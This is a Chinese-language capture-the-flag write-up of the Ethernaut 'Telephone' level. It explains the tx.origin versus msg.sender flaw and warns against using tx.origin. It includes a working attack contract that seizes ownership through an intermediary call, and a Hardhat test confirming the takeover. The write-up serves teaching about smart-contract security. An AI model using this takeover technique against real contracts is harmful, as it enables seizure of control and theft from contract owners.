Telephone合约
任务:获取合约的所有权,也就是改变owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这道题就是理解 tx.origin
和 msg.sender
的区别:ethereum.stackexchange.com/questions/1… 也就是说msg.sender
不一定是个人地址,有可能是合约地址,tx.origin
一定是个人地址,一般在写合约尽量不要使用tx.origin
,会判断失误出现bug。
解题思路:1.创建攻击合约;2.用攻击合约去调用changeOwner
,满足 tx.origin != msg.sender
;
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephoneinterface {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
Telephoneinterface telephone;
address public owner;
constructor(address _telephone) public {
telephone = Telephoneinterface(_telephone);
owner = msg.sender;
}
function attack() public {
telephone.changeOwner(owner);
}
}
测试脚本:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Telephone;
var AttackTelephone;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const TelephoneInstance = await ethers.getContractFactory("Telephone");
Telephone = await TelephoneInstance.deploy();
const AttackTelephoneInstance = await ethers.getContractFactory("AttackTelephone");
AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
});
it("hack test", async function () {
expect(await Telephone.owner()).to.equal(deployer.address);
await AttackTelephone.attack();
expect(await Telephone.owner()).to.equal(users[0].address);
});
});
运行结果:
Github:hardhat测试仓库